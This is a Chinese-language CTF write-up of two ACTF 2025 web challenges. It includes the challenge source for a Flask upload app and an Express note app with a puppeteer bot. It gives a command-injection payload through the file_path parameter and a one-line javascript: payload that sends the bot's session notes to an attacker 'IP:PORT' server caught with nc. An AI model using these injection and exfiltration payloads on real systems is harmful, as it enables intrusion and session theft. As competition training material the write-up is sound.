ACTF 2025-0psu3-部分WEB题解

由 Polze Li 发布

前言

队伍:0psu3

emmm这次有点事,就看了俩web,剩下的由web✌w36秒完了qwq

也是拿到第9名了,加油加油upup!

我们也是ak web 加上 misc 一血哩!


ACTF upload

&1

bp爆破出来username:admin password:backdoor
emm,admin是解析不了图片的,发现可以使用任意用户名登录,密码还是backdoor
然后使用非admin用户上传图片可以得到图片base64解析
由此我们得知,其是将源文件base64编码然后以图片形式解析,那么我们就读取app.py然后出来其base64编码内容
由此我们可得到源码
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
    if session.get('username'):
        return redirect(url_for('upload'))
    else:
        return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin':
            if hashlib.sha256(
                    password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username
                return redirect(url_for('index'))
            else:
                flash('Invalid password')
        else:
            session['username'] = username
            return redirect(url_for('index'))
    else:
        return '''
        <h1>Login</h1>
        <h2>No need to register.</h2>
        <form action="/login" method="post">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required>
            <br>
            <input type="submit" value="Login">
        </form>
        '''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    if not session.get('username'):
        return redirect(url_for('login'))

    if request.method == 'POST':
        f = request.files['file']
        file_path = str(uuid.uuid4()) + '_' + f.filename
        f.save('./uploads/' + file_path)
        return redirect(f'/upload?file_path={file_path}')

    else:
        if not request.args.get('file_path'):
            return '''
            <h1>Upload Image</h1>

            <form action="/upload" method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <input type="submit" value="Upload">
            </form>
            '''

        else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb') as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return 'Sorry, but you are not allowed to view this image.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

 
&2

这里admin登录直接访问/upload?file_path=,测试shell执行base64可以执行命令,如:base64 `ls`
但是这里输出不完整,我们用tee输出到文件,然后利用user访问upload再读取
payload:
  admin访问 /upload?file_path=base64 `ls /|tee 1.txt`
  user访问 /upload?file_path=1.txt 即可查看文件base64编码后的内容得到flag在/Fl4g_is_H3r3里面
 
则继续读取
  admin访问 /upload?file_path=base64 `cat /Fl4g_is_H3r3|tee 1.txt`
  user访问 /upload?file_path=1.txt 即可查看flag

eznote

&1

下载附件,可以看到由js搭建的web网站,我们先审计bot.js(源代码放在wp最后)
这里bot.js会访问根目录,然后自动把flag放到note中,然后在访问传入的url值,我们这里要获取flag就得找到bot.js自动写入的flag在哪,找到在哪我们就要先找到哪里调用了visit这个函数,我们看app.js
这里导入了visit函数从bot.js中,在/report路由中调用的visit函数,并且在这里传入了url参数。然后我们找一下note有没有什么特征可以得到然后指定note访问获取其内容
我们可以访问根目录进行写note,可以看到note会有noteid标记,并且访问/note/{noteid}就可以访问其note内容
那么我们就目标明确,要找到其bot自动写入的note的noteid然后访问得到flag,我们看一下noteid的构成是先创建一个notes session
然后这里noteid是一个随机字符串,然后储存在notes session中

ACTF 2025-0psu3-部分WEB题解

到这里我们目标更明确,获取bot的notes session即可得到其noteid,而且这里/report路由中url输入没有过滤,导致我们可以注入js,从而达到获取bot的session然后返回到我们自己的vps中
 
PS:这里note只负责写入session,但是没有读取,所以我们要让机器人通过/notes路由在其页面得到notes session
 
 

&2

这里构建payload,我们先post请求/report路由,传入url参数payload,让bot先写flag进note(bot.js逻辑),然后访问/notes路由刷新noteid,将页面内容带出来到vps中
PS:框框不支持多行输入,所以得整一下payload格式成一行
javascript:(()=>{fetch('http://localhost:3000/notes').then(s=>s.json()).then(p=>fetch('http://IP:PORT/',{method:'POST',body:JSON.stringify(p)}))})();

 
&3

vps打开nc监听(不要使用python -m http.server 默认其不支持post请求)最后得到noteid,我们访问/note/{noteid}得到flag
 
app.js源码
const express = require('express')
const session = require('express-session')
const { randomBytes } = require('crypto')
const fs = require('fs')
const spawn = require('child_process')
const path = require('path')
const { visit } = require('./bot')
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const DOMPurify = createDOMPurify(new JSDOM('').window);

const LISTEN_PORT = 3000
const LISTEN_HOST = '0.0.0.0'

const app = express()

app.set('views', './views')
app.set('view engine', 'html')
app.engine('html', require('ejs').renderFile)

app.use(express.urlencoded({ extended: true }))

app.use(session({
    secret: randomBytes(4).toString('hex'),
    saveUninitialized: true,
    resave: true,

}))

app.use((req, res, next) => {
    if (!req.session.notes) {
        req.session.notes = []
    }
    next()
})

const notes = new Map()

setInterval(() => { notes.clear() }, 60 * 1000);

function toHtml(source, format){
    if (format == undefined) {
        format = 'markdown'
    }
    let tmpfile = path.join('notes', randomBytes(4).toString('hex'))
    fs.writeFileSync(tmpfile, source)
    let res = spawn.execSync(`pandoc -f ${format} ${tmpfile}`).toString()
    // fs.unlinkSync(tmpfile)
    return DOMPurify.sanitize(res)
}

app.get('/ping', (req, res) => {
    res.send('pong')
})

app.get('/', (req, res) => {
    res.render('index', { notes: req.session.notes })
})

app.get('/notes', (req, res) => {
    res.send(req.session.notes)
})

app.get('/note/:noteId', (req, res) => {
    let { noteId } = req.params
    if(!notes.has(noteId)){
        res.send('no such note')
        return
    } 
    let note = notes.get(noteId)
    res.render('note', note)
})

app.post('/note', (req, res) => {
    let noteId = randomBytes(8).toString('hex')
    let { title, content, format } = req.body
    if (!/^[0-9a-zA-Z]{1,10}$/.test(format)) {
        res.send("illegal format!!!")
        return
    }
    notes.set(noteId, {
        title: title,
        content: toHtml(content, format)
    })
    req.session.notes.push(noteId)
    res.send(noteId)
})

app.get('/report', (req, res) => {
    res.render('report')
})

app.post('/report', async (req, res) => {
    let { url } = req.body
    try {
        await visit(url)
        res.send('success')
    } catch (err) {
        console.log(err)
        res.send('error')
    }
})

app.listen(LISTEN_PORT, LISTEN_HOST, () => {
    console.log(`listening on ${LISTEN_HOST}:${LISTEN_PORT}`)
})

bot.js源码

const puppeteer = require('puppeteer')
const process = require('process')
const fs = require('fs')

const FLAG = (() => {
    let flag = 'flag{test}'
    if (fs.existsSync('flag.txt')){
        flag = fs.readFileSync('flag.txt').toString()
        fs.unlinkSync('flag.txt')
    } 
    return flag
})()

const HEADLESS = !!(process.env.PROD ?? false)

const sleep = (sec) => new Promise(r => setTimeout(r, sec * 1000))

async function visit(url) {
    let browser = await puppeteer.launch({
        headless: HEADLESS,
        executablePath: 'C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe',
        args: ['--no-sandbox'],
    })
    let page = await browser.newPage()

    await page.goto('http://localhost:3000/')

    await page.waitForSelector('#title')
    await page.type('#title', 'flag', {delay: 100})
    await page.type('#content', FLAG, {delay: 100})
    await page.click('#submit', {delay: 100})

    await sleep(3)
    console.log('visiting %s', url)

    await page.goto(url)
    await sleep(30)
    await browser.close()
}

module.exports = {
    visit
}

0条评论

发表评论


验证码